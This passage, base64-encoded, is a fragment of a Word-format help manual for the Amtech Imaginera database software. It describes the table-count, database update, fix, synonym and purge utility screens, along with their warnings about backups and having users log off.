IGRhdGFiYXNlIHRhYmxlIHN0YXRpc3RpY3MTIFhFICJEaXNwbGF5IGRhdGFiYXNlIHRhYmxlIHN0 YXRpc3RpY3MiIBUuDQ1Vc2luZyB0aGUgc2NyZWVuOg0NMSkgU2NyZWVuIGlzIFJFQUQgT05MWSBh bmQgY2FuIGJlIHZpZXdlZCBvciBwcmludGVkLg0NMikgQ2xpY2sgPFByaW50Pg0NSXRlbXMgc2hv d24gb24gc2NyZWVuIGFyZToNDRNJTVBPUlQgQzpcXEZIX1NVSVRFXFxGSExQXzI5N1xcQlVMTEVU U1xcRE9UX1NNLkJNUCBcKiBNRVJHRUZPUk1BVBQBFQlUb3RhbCBudW1iZXIgb2YgU3BlY3MTIFhF ICJUb3RhbCBudW1iZXIgb2YgU3BlY3MiIBUNE0lNUE9SVCBDOlxcRkhfU1VJVEVcXEZITFBfMjk3 XFxCVUxMRVRTXFxET1RfU00uQk1QIFwqIE1FUkdFRk9STUFUFAEVCVRvdGFsIG51bWJlciBvZiBR dW90YXRpb25zEyBYRSAiVG90YWwgbnVtYmVyIG9mIFF1b3RhdGlvbnMiIBUNE0lNUE9SVCBDOlxc RkhfU1VJVEVcXEZITFBfMjk3XFxCVUxMRVRTXFxET1RfU00uQk1QIFwqIE1FUkdFRk9STUFUFAEV CVRvdGFsIG51bWJlciBvZiBPcmRlcnMTIFhFICJUb3RhbCBudW1iZXIgb2YgT3JkZXJzIiAVDRNJ TVBPUlQgQzpcXEZIX1NVSVRFXFxGSExQXzI5N1xcQlVMTEVUU1xcRE9UX1NNLkJNUCBcKiBNRVJH RUZPUk1BVBQBFQlUb3RhbCBudW1iZXIgb2YgQ3VzdG9tZXJzEyBYRSAiVG90YWwgbnVtYmVyIG9m IEN1c3RvbWVycyIgFQ0TSU1QT1JUIEM6XFxGSF9TVUlURVxcRkhMUF8yOTdcXEJVTExFVFNcXERP VF9TTS5CTVAgXCogTUVSR0VGT1JNQVQUARUJVG90YWwgbnVtYmVyIG9mIFNoaXAgVG9zEyBYRSAi VG90YWwgbnVtYmVyIG9mIFNoaXAgVG9zIiAVDRNJTVBPUlQgQzpcXEZIX1NVSVRFXFxGSExQXzI5 N1xcQlVMTEVUU1xcRE9UX1NNLkJNUCBcKiBNRVJHRUZPUk1BVBQBFQlUb3RhbCBudW1iZXIgb2Yg VmVuZG9ycxMgWEUgIlRvdGFsIG51bWJlciBvZiBWZW5kb3JzIiAVDQ1PdGhlciBzY3JlZW4gaW5m b3JtYXRpb246DQ1QQVRIOiBDb3VudHMuZXhlEyBYRSAiQ291bnRzLmV4ZSIgFSA+PiBUYWJsZSBD b3VudHMNDU1lbnVzOiBObyBtZW51cw0NSG90IEtleXM6IE5vIGhvdCBrZXlzDQ1CdXR0b25zOg0N PFByaW50PhMgWEUgIjxQcmludD4iIBUgb3BlbnMgdGhlIFByaW50IE9wdGlvbnMgc2NyZWVuIGZv bGxvd2VkIGJ5IHRoZSBDb3VudC5RUlAgcmVwb3J0EyBYRSAiQ291bnQuUVJQIHJlcG9ydCIgFS4N DTxEb25lPg1EYXRhYmFzZSBVcGRhdGUgVXRpbGl0eSBEZXNjcmlwdGlvbhMgWEUgIkRhdGFiYXNl IFVwZGF0ZSBVdGlsaXR5IERlc2NyaXB0aW9uIiAVDQ1BbXRlY2ggd2lsbCBmcm9tIHRpbWUgdG8g dGltZSBwcm92aWRlIGRhdGFiYXNlIHVwZGF0ZXMTIFhFICJEYXRhYmFzZSB1cGRhdGVzIiAVIGlu IHRoZSBmb3JtIG9mIGEgc2NyaXB0IGZpbGUTIFhFICJTY3JpcHQgZmlsZSIgFS4gIFRoaXMgZmls ZSBjb250YWlucyB0ZXh0dXJhbCBjb2RlIHRoYXQgYWRkcywgYWx0ZXJzLCBvciBkZWxldGVzIGNv bHVtbnMgb3IgdGFibGVzIGZyb20gdGhlIEltYWdpbmVyYSBkYXRhYmFzZS4gIFVwZGF0ZXMTIFhF ICJVcGRhdGVzIiAVIGFyZSBkb25lIHBlciBBbXRlY2ggcmVsZWFzZXMgYW5kIGVhY2ggcmVsZWFz ZSBpcyBudW1iZXJlZBMgWEUgIlJlbGVhc2UgbnVtYmVycyIgFS4gIA0NRXhhbXBsZXM6IFJFTDNf MCwgUkVMNF8wLCBldGMuICANDVRoZXJlIGlzIGEgRGJzcWwoYikuc3FsIGZpbGUgb24gdGhlIHJl bGVhc2UgZGlzYyBhbmQgaXQgaXMgdGhpcyBmaWxlIHRoYXQgY29udGFpbnMgdGhlIHNjcmlwdGlu ZyBjb2RlLiAgVGhlIChiKSBpbiB0aGUgZmlsZSBuYW1lIHNob3VsZCBjb3JyZXNwb25kIHRvIFNR TEJhc2UuICBMYXRlciBhcyBuZXcgZGF0YWJhc2UgZW5naW5lcyBhcmUgcmVsZWFzZWQsIHRoaXMg d2lsbCBjaGFuZ2UuDQ1UaGUgZmlsZSBpcyBhIFJFQUQgT05MWSBmaWxlIGFuZCBzaG91bGQgbm90 IGJlIG1vZGlmaWVkIGJ5IHRoZSBVc2VyLiAgDQ0TSU1QT1JUIEM6XFxpbWFnaW4zMVxcRGJ1cGRh dGVcXFdJTkhFTFBcXFlFTC1QQUQuQk1QIFwqIE1FUkdFRk9STUFUFAEVTm90ZTogIEFtdGVjaJJz IFN5c3RlbSBjb250YWlucyAqLmhscCAoRjEpIGhlbHATIFhFICIqLmhscCAoRjEpIGhlbHAiIBUg dGhhdCBpcyBkYXRhYmFzZSBkcml2ZW4uICBUaGUgaGVscCBzeXN0ZW0gaXMgYmVpbmcgY29uc3Rh bnRseSB1cGdyYWRlZCwgYW5kIHRoZSBvbGRlciBtZXRob2RzIG9mIGFjY2Vzc2luZyBoZWxwIGFy ZSBiZWluZyBwaGFzZWQuICBUaGVyZSBhcmUgbWFueSBuZXcgYW5kIHVwZ3JhZGVkIGhlbHAgZmls ZXMgaW4gZWFjaCByZWxlYXNlOyB0aGVyZWZvcmUgaXQgaXMgYmVuZWZpY2lhbCB0byBydW4gdGhl IERCVVBEQVRFLkVYRRMgWEUgIkRCVVBEQVRFLkVYRSIgFSBpbW1lZGlhdGVseSBhZnRlciBpbnN0 YWxsaW5nIG5ldyByZWxlYXNlIHNvZnR3YXJlLiAgVGhpcyB3aWxsIGFkZCB0aGUgcGF0aHMgYW5k IGNvbnRlbnQgaWRlbnRpZmljYXRpb24gbnVtYmVycyBvZiB0aGUgKi5obHAgZmlsZXMgaW50byB0 aGUgU3lzdGVtknMgSEVMUENPTlRFTlQgZGF0YWJhc2UgdGFibGUTIFhFICJIRUxQQ09OVEVOVCBk YXRhYmFzZSB0YWJsZSIgFS4NDRNJTVBPUlQgQzpcXGltYWdpbjMxXFxEYnVwZGF0ZVxcV0lOSEVM UFxcU1BDLU5PVEUuQk1QIFwqIE1FUkdFRk9STUFUFAEVTm90ZTogIElmIEFtdGVjaCBwcm92aWRl cyBhIFBBVENIEyBYRSAiUEFUQ0giIBUsIHRoZW4gdGhlcmUgd2lsbCBiZSBhIG5ldyBmaWxlIGFu ZCB1c2VyIG11c3QgcnVuIERCVXBkYXRlLmV4ZS4NDRNJTVBPUlQgQzpcXGltYWdpbjMxXFxEYnVw ZGF0ZVxcV0lOSEVMUFxcU1BDLU5PVEUuQk1QIFwqIE1FUkdFRk9STUFUFAEVTm90ZTogIFdoZXJl IGNvbXBhbmllcyBhcmUgdXNpbmcgRElWSVNJT04ocykgZm9yIHNlcGFyYXRpbmcgcGxhbnRzLCB0 aGUgRElWSVNJT04TIFhFICJESVZJU0lPTiIgFSBmaWVsZCB3aWxsIGJlIGNoYW5nZWQgdG8gUExB TlQTIFhFICJQTEFOVCIgFSB3aGVuIERCVVBEQVRFLkVYRSBpcyBydW4uICBUaGlzIGFsbG93cyBt dWx0aS1wbGFudCBvcGVyYXRpb24TIFhFICJNdWx0aS1wbGFudCBvcGVyYXRpb24iIBUsIGFuZCBp cyBkb2N1bWVudGVkIGluIHRoZSBDb25zb2xpZGF0ZWQgLSBEYXRhYmFzZS5kb2MgZmlsZRMgWEUg IkNvbnNvbGlkYXRlZCAtIERhdGFiYXNlLmRvYyBmaWxlIiAVIHN1cHBsaWVkLg0NDUltYWdpbmVy YSBEYXRhYmFzZSBVcGRhdGUTIFhFICJJbWFnaW5lcmEgRGF0YWJhc2UgVXBkYXRlIiAVDTEwODI2 MDAwEyBYRSAiMTA4MjYwMDAiIBUNU2NyZWVuIGlzIHJ1biBhdCB0aGUgY29tcGxldGlvbiBvZiBh biBpbnN0YWxsIG9mIGEgbmV3IHJlbGVhc2UTIFhFICJJbnN0YWxsIG9mIGEgbmV3IHJlbGVhc2Ui IBUuICBUaGUgYXBwbGljYXRpb24gd2lsbCB1cGdyYWRlIHRoZSBJbWFnaW5lcmEgRGF0YWJhc2Ug VGFibGVzIHRvIHRoZSBjdXJyZW50bHkgdXNlZCBjb25maWd1cmF0aW9uLg0NVXNpbmcgdGhlIHNj cmVlbjoNDRNJTVBPUlQgQzpcXGltYWdpbjMxXFxEYnVwZGF0ZVxcV0lOSEVMUFxcU1BDLU5PVEUu Qk1QIFwqIE1FUkdFRk9STUFUFAEVTm90ZTogQWxsIHVzZXJzIHNob3VsZCBiZSBsb2dnZWQgb2Zm EyBYRSAiTG9nIG9mZiIgFSBvZiB0aGUgU3lzdGVtIGJlZm9yZSB0aGlzIGFwcGxpY2F0aW9uIGlz IHJ1bi4NDRNJTVBPUlQgQzpcXGltYWdpbjMxXFxEYnVwZGF0ZVxcV0lOSEVMUFxcWUVMLVBBRC5C TVAgXCogTUVSR0VGT1JNQVQUARVOb3RlOiBEdXJpbmcgbG9nIGluLCBiZSBzdXJlIHRoZSBjb3Jy ZWN0IGRhdGFiYXNlEyBYRSAiQ29ycmVjdCBkYXRhYmFzZSIgFSBpcyBzZWxlY3RlZC4NDRNJTVBP UlQgQzpcXGltYWdpbjMxXFxEYnVwZGF0ZVxcV0lOSEVMUFxcV0hULUJJTkQuQk1QIFwqIE1FUkdF Rk9STUFUFAEVTm90ZTogVGhpcyBwcm9jZWR1cmUgd2lsbCB0YWtlIHNldmVyYWwgbWludXRlcyB0 byBtb3N0IG9mIGFuIGhvdXIgdG8gY29tcGxldGUuIA0NMSkgTWFrZSBzZWxlY3Rpb24gb2YgdGhl IFJlbGVhc2UgZnJvbSB3aGljaCB0byBzdGFydC4gDQ0TSU1QT1JUIEM6XFxpbWFnaW4zMVxcRGJ1 cGRhdGVcXFdJTkhFTFBcXFdIVC1CSU5ELkJNUCBcKiBNRVJHRUZPUk1BVBQBFU5vdGU6IFJlbGVh c2VzIGJ1aWxkIHVwb24gZWFjaCBvdGhlchMgWEUgIlJlbGVhc2VzIGJ1aWxkIHVwb24gZWFjaCBv dGhlciIgFSwgYW5kIHRoZXJlZm9yZSBzaG91bGQgYmUgdXBkYXRlZCBpbiBzZXF1ZW5jZSBmcm9t IHRoZSBvbGRlc3QgdG8gdGhlIG5ld2VzdC4gDQ0yKSBDaGVjayBib3ggZm9yIENoZWNrIGZvciBE YXRhYmFzZSBDb3JydXB0aW9uEyBYRSAiQ2hlY2sgZm9yIERhdGFiYXNlIENvcnJ1cHRpb24iIBUs IGlmIGRlc2lyZWQuIA0NTm90ZTogVGhpcyBpcyBhIGdvb2QgdGVzdCwgYnV0IHdpbGwgc2xvdyB0 aGUgdXBkYXRlLg0NMykgQ2xpY2sgPEJlZ2luIFVwZGF0ZT4TIFhFICI8QmVnaW4gVXBkYXRlPiIg FSANDRNJTVBPUlQgQzpcXGltYWdpbjMxXFxEYnVwZGF0ZVxcV0lOSEVMUFxcV0hULUJJTkQuQk1Q IFwqIE1FUkdFRk9STUFUFAEVTm90ZTogVGhlIGN1cnJlbnQgY29tbWFuZCBib3ggd2lsbCBzaG93 IHdoYXQgaXMgaGFwcGVuaW5nIGFzIGl0IG9jY3Vycy4gIFRoZSBDb21tYW5kIFN0YXR1cxMgWEUg IkNvbW1hbmQgU3RhdHVzIiAVIHdpbGwgc2hvdyBSdW5uaW5nLCBVcGRhdGluZywgb3IgQ29tcGxl dGUuICBUaGUgTWljcm9IZWxwIGF0IHRoZSBib3R0b20gb2YgdGhlIHNjcmVlbiB3aWxsIHNob3cg dGhlIHRhYmxlIGJlaW5nIHJlYWQgYW5kIHVwZGF0ZWQuICBXaGVuIGRvbmUsIHRoZSB1c2VyIHdp bGwgcmVjZWl2ZSB0aGUgbWVzc2FnZSBEYXRhYmFzZSBTY3JpcHQgRG9uZRMgWEUgIkRhdGFiYXNl IFNjcmlwdCBEb25lIiAVLiAgQ2xpY2sgPE9rPiBhbmQgZXhpdCBzY3JlZW4uIA0NE0lNUE9SVCBD OlxcaW1hZ2luMzFcXERidXBkYXRlXFxXSU5IRUxQXFxTUEMtTk9URS5CTVAgXCogTUVSR0VGT1JN QVQUARVOb3RlOiBJZiB0aGUgbWVzc2FnZSBpcyBMb2NraW5nIERhdGFiYXNlIC0gUnVubmluZxMg WEUgIkxvY2tpbmcgRGF0YWJhc2UgLSBSdW5uaW5nIiAVIGFuZCBpdCByZWZ1c2VzIHRvIGFkdmFu Y2UgdG8gdGhlIG5leHQgc3RhZ2UsIHRoZW4gdGhlIHByb2dyYW0gaXMgaHVuZy4gIERvIGEgQ3Ry bCArIEFsdCArIERlbGV0ZSAoV2luZG93cyBOVCBtYWNoaW5lcykgdG8gb3BlbiB0aGUgTWljcm9z b2Z0IFRhc2sgTWFuYWdlci4gIElmIHRoZSBUYXNrIE1hbmFnZXIgc3RhdGVzIERCVVBEQVRFIE5v dCBSZXNwb25kaW5nEyBYRSAiREJVUERBVEUgTm90IFJlc3BvbmRpbmciIBUsIHRoZW4gZG8gYW4g ZXhpdC4gIEhhdmUgZXZlcnlvbmUgbG9nIG9mZiB0aGUgU3lzdGVtJ3MgZGF0YWJhc2UgYW5kIHRo ZW4gdHJ5IGFnYWluLg0NT3RoZXIgc2NyZWVuIGluZm9ybWF0aW9uOg0NUGF0aDogRGJ1cGRhdGUu ZXhlEyBYRSAiRGJ1cGRhdGUuZXhlIiAVID4+IEltYWdpbmVyYSBEYXRhYmFzZSBVcGRhdGUge2Rh dGFiYXNlIG5hbWV9DQ1NZW51czogTm8gbWVudXMNDUhvdCBLZXlzOiBObyBvdGhlciBob3Qga2V5 cw0NQnV0dG9uczoNVSA9IDxCZWdpbiBVcGRhdGU+IA1DID0gPENhbmNlbD4NQW10ZWNoIERhdGFi YXNlIEZpeGVzEyBYRSAiQW10ZWNoIERhdGFiYXNlIEZpeGVzIiAVDTEwMzQ1MDAwEyBYRSAiMTAz NDUwMDAiIBUNU2NyZWVuIGlzIHVzZWQgZm9yIHVwZGF0ZXMgYW5kIGZpeGVzIG9mIGRhdGFiYXNl IHRhYmxlcxMgWEUgIlVwZGF0ZXMgYW5kIGZpeGVzIG9mIGRhdGFiYXNlIHRhYmxlcyIgFSB0aGF0 IGFyZSBtaXNzaW5nIGluZm9ybWF0aW9uLiAgTnVsbHMTIFhFICJOdWxscyIgFSBhcmUgcmVwbGFj ZWQgd2l0aCBnZW5lcmljIGRhdGEgc28gdGhhdCBxdWVyaWVzIHRvIHRoZSBkYXRhYmFzZSB3aWxs IG5vdCBmYWlsLg0NVXNpbmcgdGhlIHNjcmVlbjoNDTEpIENsaWNrIG9uIGFuIGl0ZW0gdG8gaGln aGxpZ2h0IHRoZSBpdGVtDQ0TSU1QT1JUIEM6XFxpbWFnaW4zMVxcZml4aXRcXFdJTkhFTFBcXFlF TC1QQUQuQk1QIFwqIE1FUkdFRk9STUFUFAEVTm90ZTogT25seSBvbmUgaXRlbSBtYXkgYmUgcnVu IGF0IGEgdGltZS4gIFVzZXIgbXVzdCBlbnRlciB0aGUgc2NyZWVuIGZvciBlYWNoIGl0ZW0gdG8g YmUgdXBkYXRlZC4gDQ0yKSBDbGljayA8VXBkYXRlPg0NE0lNUE9SVCBDOlxcaW1hZ2luMzFcXGZp eGl0XFxXSU5IRUxQXFxZRUwtUEFELkJNUCBcKiBNRVJHRUZPUk1BVBQBFU5vdGU6IERlcGVuZGlu ZyBvbiB0aGUgc2VsZWN0aW9ucywgdGhlcmUgbWF5IGJlIG1lc3NhZ2VzIGRpc3BsYXllZCB0aGF0 IGluZm9ybSB0aGUgVXNlciBvZiB3aGF0IGlzIHRha2luZyBwbGFjZS4gIFdoZW4gZG9uZSwgdGhl IFN5c3RlbSB3aWxsIGRpc3BsYXkgdGhlIG1lc3NhZ2UgVXBkYXRlIENvbXBsZXRlEyBYRSAiVXBk YXRlIENvbXBsZXRlIiAVLiAgSXQgcmFuIGZyb20ge2RhdGUgYW5kIHRpbWV9IHRvIHtkYXRlIGFu ZCB0aW1lfS4gIENsaWNraW5nIDxPaz4gd2lsbCBjbG9zZSB0aGUgc2NyZWVuLiANDQ1PdGhlciBz Y3JlZW4gaW5mb3JtYXRpb246DQ1QYXRoOiBGaXhpdC5leGUTIFhFICJGaXhpdC5leGUiIBUgPj4g QW10ZWNoIERhdGFiYXNlIEZpeGVzDQ1NZW51czogTm8gbWVudXMNDUhvdCBLZXlzOiBObyBvdGhl ciBob3Qga2V5cw0NQnV0dG9uczoNPFVwZGF0ZT4NPENhbmNlbD4NDVNldCBTeW5vbnltcxMgWEUg IlNldCBTeW5vbnltcyIgFQ0xMDc3NDAwMBMgWEUgIjEwNzc0MDAwIiAVDUZhY2lsaXR5IHRvIG1h a2UgYWxsIHRoZSB0YWJsZXMgaW4gdGhlIGRhdGFiYXNlIHB1YmxpYxMgWEUgIk1ha2UgdGFibGVz IGluIGRhdGFiYXNlIHB1YmxpYyIgFS4gIEJ5IG1ha2luZyB0aGUgdGFibGVzIHB1YmxpYyB0aGV5 IGNhbiBiZSBhY2Nlc3NlZCBieSBldmVyeW9uZSwgbm90IGp1c3QgYnkgdGhlIFNZU0FETSAoU3lz dGVtIEFkbWluaXN0cmF0b3ITIFhFICJTeXN0ZW0gQWRtaW5pc3RyYXRvciIgFSkuDQ1QQVRIOiBT eW5vbnltLmV4ZRMgWEUgIlN5bm9ueW0uZXhlIiAVID4+IFNldCBTeW5vbnltcy4gDQ1XaGVuIHNl bGVjdGVkIHRoaXMgc2NyZWVuIHBvcHMtaW50by12aWV3IGFuZCBzdGFydHMgb3BlcmF0aW5nIHdp dGhvdXQgYW55IGZ1cnRoZXIgaW50ZXJhY3Rpb24gYnkgdGhlIHVzZXIuDQ0NUHVyZ2UTIFhFICJQ dXJnZSIgFQ0xMDAzMDAwMBMgWEUgIjEwMDMwMDAwIiAVDVNjcmVlbiBpcyB1c2VkIHRvIHB1cmdl IHNwZWNpZmljIGRhdGFiYXNlIHRhYmxlcxMgWEUgIlB1cmdlIHNwZWNpZmljIGRhdGFiYXNlIHRh YmxlcyIgFSBvZiB1bm5lZWRlZCBkYXRhIGFuZCB0byBhY2Nlc3MgdGhlIFB1cmdlIEhpc3Rvcnkg c2NyZWVuLg0NE0lNUE9SVCBDOlxcaW1hZ2luMzFcXFB1cmdlXFxTUEMtTk9URS5CTVAgXCogTUVS R0VGT1JNQVQUARVOb3RlOiAgQWxsIHVzZXJzIG9mIHRoZSBEQVRBQkFTRSBzaG91bGQgc2F2ZSBh bmQgZXhpdCBiZWZvcmUgdGhlIHB1cmdlIGlzIGF0dGVtcHRlZC4gIFRvIE5PVCBkbyBzbyBtYXkg cmVzdWx0IGluIGRhdGEgaW50ZWdyaXR5IGVycm9ycywgaWYgdGhlIGRhdGFiYXNlIGRvZXMgbm90 IGxvY2sTIFhFICJMb2NrIGRhdGFiYXNlIGR1cmluZyBwdXJnZSIgFS4gDQ1Vc2luZyB0aGUgc2Ny ZWVuOg0NMSkgRW50ZXIgYSBQdXJnZSBVcHRvIERhdGUTIFhFICJQdXJnZSBVcHRvIERhdGUiIBUg b3IgZG91YmxlLWNsaWNrIG9uIHRoZSBmaWVsZCB0byBkaXNwbGF5IHRoZSBDYWxlbmRhchMgWEUg IkNhbGVuZGFyIiAVLiANDRNJTVBPUlQgQzpcXGltYWdpbjMxXFxQdXJnZVxcU1BDLU5PVEUuQk1Q IFwqIE1FUkdFRk9STUFUFAEVTm90ZTogQ2xpY2sgaGVyZQ0NMikgTWFrZSBzZWxlY3Rpb24gb2Yg d2hpY2ggZGF0YSB0byByZW1vdmUNDRNJTVBPUlQgQzpcXGltYWdpbjMxXFxQdXJnZVxcV0hULUJJ TkQuQk1QIFwqIE1FUkdFRk9STUFUFAEVTm90ZTogIERhdGEgY2FuIGJlIHJlbW92ZWQgZnJvbRMg WEUgIkRhdGEgY2FuIGJlIHJlbW92ZWQgZnJvbSIgFSBJbnZvaWNlcywgU2FsZXMgU3VtbWFyeSwg YW5kIE9yZGVycy4gIE9yZGVycyBhcmUgYnJva2VuIGludG8gT3JkZXIgQ29zdCwgRURJLCBQdXJj aGFzZSBPcmRlcnMsIERlbGl2ZXJ5LCBhbmQgSW52ZW50b3J5IGFuZCBzZWxlY3RpbmcgT3JkZXJz IHdpbGwgc2VsZWN0IGFsbC4gIFVuY2hlY2sgT3JkZXJzIHRvIG1ha2UgaW5kaXZpZHVhbCBzZWxl Y3Rpb25zLiANDTMpIENsaWNrIDxQdXJnZT4uDQ0TSU1QT1JUIEM6XFxpbWFnaW4zMVxcUHVyZ2Vc XFNQQy1OT1RFLkJNUCBcKiBNRVJHRUZPUk1BVBQBFU5vdGU6ICBUaGlzIHB1cmdlIGlzIG5vdCBy ZXZlcnNpYmxlIGFuZCBhIGJhY2t1cCBzaG91bGQgYmUgZG9uZSBiZWZvcmUgZG9pbmcgdGhlIHB1 cmdlLiAgU2VlIHRoZSB0YWJsZXMgYmVsb3cuDQ0TSU1QT1JUIEM6XFxpbWFnaW4zMVxcUHVyZ2Vc XFdIVC1CSU5ELkJNUCBcKiBNRVJHRUZPUk1BVBQBFU5vdGU6ICBZb3Ugd2lsbCByZWNlaXZlIGEg bWVzc2FnZSB0aGF0IHRoZSBQdXJnZSBpcyBDb21wbGV0ZRMgWEUgIlB1cmdlIGlzIENvbXBsZXRl IiAVIG9yIHRoYXQgdGhlcmUgYXJlIG5vIGl0ZW1zIHRvIHB1cmdlLiAgT25jZSBjb21wbGV0ZWQs IHRoZW4gdGhlIHVzZXIgc2hvdWxkIGRvIGEgU3lzdGVtIGNsZWFuLXVwLhMgWEUgIlN5c3RlbSBj bGVhbi11cC4iIBUNDRNJTVBPUlQgQzpcXGltYWdpbjMxXFxQdXJnZVxcU1BDLU5PVEUuQk1QIFwq IE1FUkdFRk9STUFUFAEVTm90ZTogVG8gcmVnYWluIHNwYWNlIGZyb20gcHVyZ2VkIGRhdGEgdGhl IFVzZXIgTVVTVCB1bmxvYWQgYW5kIGxvYWQgdGhlIGRhdGFiYXNlEyBYRSAiVW5sb2FkIGFuZCBs b2FkIHRoZSBkYXRhYmFzZSIgFS4gDQ0NT3RoZXIgc2NyZWVuIGluZm9ybWF0aW9uOg0NU2VjdXJp dHk6ICBVc2VyIGFjY2Vzcy4NDVBhdGg6ICBQdXJnZS5leGUTIFhFICJQdXJnZS5leGUiIBUgPj4g UHVyZ2Uge2RhdGFiYXNlIG5hbWV9DQ1NZW51czogIE5vIE1lbnVzDQ1Ib3QgS2V5czogIE5vIG90 aGVyIGhvdCBrZXlzDQ1CdXR0b25zOg1QID0gPFB1cmdlPg1WID0gPFZpZXcgUHVyZ2UgSGlzdG9y eT4NQyA9IDxDYW5jZWw+DQ1Vc2UgQWx0ICsgRjQTIFhFICJBbHQgKyBGNCIgFSB0byBjbG9zZSB0 aGUgYXBwbGljYXRpb24NDVRhYmxlcyB0aGF0IGFyZSBwdXJnZWQ6EyBYRSAiVGFibGVzIHRoYXQg YXJlIHB1cmdlZDoiIBUNVGhlIHJlc3VsdHMgb2YgdGhlIHB1cmdlIGNhbiBiZSBzZWVuIG9uIHRo ZSBQdXJnZSBIaXN0b3J5IHNjcmVlbi4gIA0NU2VlIHRhYmxlcyB0aGF0IHdpbGwgYmUgcHVyZ2Vk IG9mIGRhdGEgd2hlbiA8UHVyZ2U+IGlzIGNsaWNrZWQuDQ1BZGRpdGlvbmFsIFB1cmdlIFJvdXRp bmVzEyBYRSAiQWRkaXRpb25hbCBQdXJnZSBSb3V0aW5lcyIgFQ0NVGhlcmUgYXJlIHB1cmdlIHJv dXRpbmVzIGluIHRoZSBUaW1lIEFjY291bnRpbmcgYW5kIFBheXJvbGwgbW9kdWxlcyB0aGF0IGFy ZSBzcGVjaWZpY2FsbHkgZGVzaWduZWQgZm9yIHRob3NlIG1vZHVsZXMuICBTb21lIHJvdXRpbmVz IGFyZToNLg1QdXJnZSBBdWRpdCBUcmFpbA1QdXJnZSBQYXlyb2xsIEhpc3RvcnkNUHVyZ2UgUGFp ZCBUaW1lIENhcmRzDQ0NQWRkaXRpb25hbGx5LCB0aGVyZSBhcmUgdGhlIGZvbGxvd2luZyBpbiBv dGhlciBtb2R1bGVzOg0NUHVyZ2UgT2xkIFNoaXBtZW50IFBsYW5zDVB1cmdlIFNwZWN7aWZpY2F0 aW9uc30NDU1hc3RlciB0YWJsZXMgKFNwZWNzLCBDdXN0b21lcnMgLCBzaGlwIHRvknMgZXRjKSBh cmUgbm90IGJlIHB1cmdlZCB0aHJvdWdoIHRoaXMgcHJvZ3JhbSwgYnV0IHRocm91Z2ggdGhlIGV4 aXN0aW5nIGRlbGV0ZSBmdW5jdGlvbnMgYnVpbHQgaW50byBJbWFnaW5lcmEuIA1QdXJnZSBIaXN0 b3J5EyBYRSAiUHVyZ2UgSGlzdG9yeSIgFQ0xMDAzMTAwMBMgWEUgIjEwMDMxMDAwIiAVDVNjcmVl biBpcyB1c2VkIHRvIGRpc3BsYXkgdGhlIHRhYmxlcyBwdXJnZWQTIFhFICJEaXNwbGF5IHRoZSB0 YWJsZXMgcHVyZ2VkIiAVIGFuZCB0aGUgbnVtYmVyIG9mIHJvd3MgdGhhdCB3ZXJlIHB1cmdlZCBh bG9uZyB3aXRoIHRoZSBkYXRlIGFuZCB3aG8gYnkgaW5mb3JtYXRpb24uDQ1UaGVyZSBhcmUgbm8g dXNlciBjb250cm9scyBvbiB0aGlzIFJFQUQgT05MWSBzY3JlZW4uDQ1PdGhlciBzY3JlZW4gaW5m b3JtYXRpb246DQ1QYXRoOiAgUHVyZ2UuZXhlEyBYRSAiUHVyZ2UuZXhlIiAVID4+IFB1cmdlID4+ IDxWaWV3IFB1cmdlIEhpc3Rvcnk+ICA+PiBQdXJnZSBIaXN0b3J5DQ1NZW51czogIE5vIG1lbnVz DQ1Ib3QgS2V5czogIE5vIGhvdCBrZXlzDQ1CdXR0b25zOg1DID0gPENsb3NlPg0NUHVyZ2UgQXVk aXQgVHJhaWwTIFhFICJQdXJnZSBBdWRpdCBUcmFpbCIgFQ0NUEFUSDogIFBheXJvbGwuZXhlID4+ IFBheXJvbGwgUHJvZ3JhbXMgPj4gWWVhciBFbmQgfCBQdXJnZSBBdWRpdCBUcmFpbCA+PiBQdXJn ZSBBdWRpdCBUcmFpbA1QdXJnZSBUaW1lIENhcmRzEyBYRSAiUHVyZ2UgVGltZSBDYXJkcyIgFQ0N UEFUSDogIFRpbWVhY2MuZXhlID4+IFRpbWUgQWNjb3VudGluZyA+PiBNYWludGFpbiB8IFB1cmdl IFBhaWQgVGltZSBDYXJkcyA+PiBQdXJnZSBQYWlkIFRpbWUgQ2FyZHMuDQ1QdXJnZSBQYXlyb2xs IEhpc3RvcnkTIFhFICJQdXJnZSBQYXlyb2xsIEhpc3RvcnkiIBUNDVBBVEg6ICBQYXlyb2xsLmV4 ZSA+PiBQYXlyb2xsIFByb2dyYW1zID4+IFllYXIgRW5kIHwgUHVyZ2UgUGF5cm9sbCBIaXN0b3J5 ID4+IFB1cmdlIFBheXJvbGwgSGlzdG9yeQ0NT3JkZXJzIFB1cmdlEyBYRSAiT3JkZXJzIFB1cmdl IiAVDQ1JZiB0aGUgT3JkZXIgcHVyZ2UgaXMgc2VsZWN0ZWQsIHRoZW4gYWxsIHJlbGF0ZWQgdGFi bGUgcm93cyB3aWxsIGJlIHB1cmdlZCB0aGF0IHJlZmVyZW5jZSB0aGUgT3JkZXIgTnVtYmVycyBw YXJ0aWNpcGF0aW5nIGluIHRoZSBwdXJnZS4gIE90aGVyIGluZGl2aWR1YWwgcHVyZ2VzIHdpbGwg dXNlIGRpZmZlcmVudCBzZWxlY3Rpb24gY3JpdGVyaWEgZm9yIHB1cmdpbmcgdGhlIHJlY29yZHMu DQ1QdXJnZSBPcmRlcnMTIFhFICJQdXJnZSBPcmRlcnMiIBUNDVRoZSBvcmRlciBwdXJnZSB3aWxs IGNyZWF0ZSBhIHRlbXBvcmFyeSB0YWJsZRMgWEUgIlRlbXBvcmFyeSB0YWJsZSIgFSB3aXRoIGFs bCBvZiB0aGUgb3JkZXIgbnVtYmVycyB0byBiZSBwdXJnZWQuICBUaGVzZSBvcmRlciBudW1iZXJz IHdpbGwgYmUgd3JpdHRlbiB0byB0aGUgdGFibGUgYmFzZWQgb24gYW55IG9mIHRoZSBmb2xsb3dp bmcgY3JpdGVyaWE6DQ0xLglUaGUgT3JkZXIgaXMgZmxhZ2dlZCBhcyCRQ5IsIHRoZXJlIGFyZSBu byBJbnZvaWNlIEVudHJpZXMgKG1heSBoYXZlIGJlZW4gZG9uZSBpbiBwcmlvciBwdXJnZSkgYW5k IHRoZSBPcmRlciBkYXRlIGlzIGxlc3MgdGhhbiBvciBlcXVhbCB0aGUgcHVyZ2UgY3V0b2ZmIGRh dGUuDQ0yLglUaGUgb3JkZXIgaXMgZmxhZ2dlZCBhcyCRQ5IsIHRoZXJlIGFyZSBubyBvdXRzdGFu ZGluZyBQdXJjaGFzZSBPcmRlciBMaW5lIEl0ZW1zLCB0aGUgaW52b2ljZSBoYXMgemVybyBvcGVu 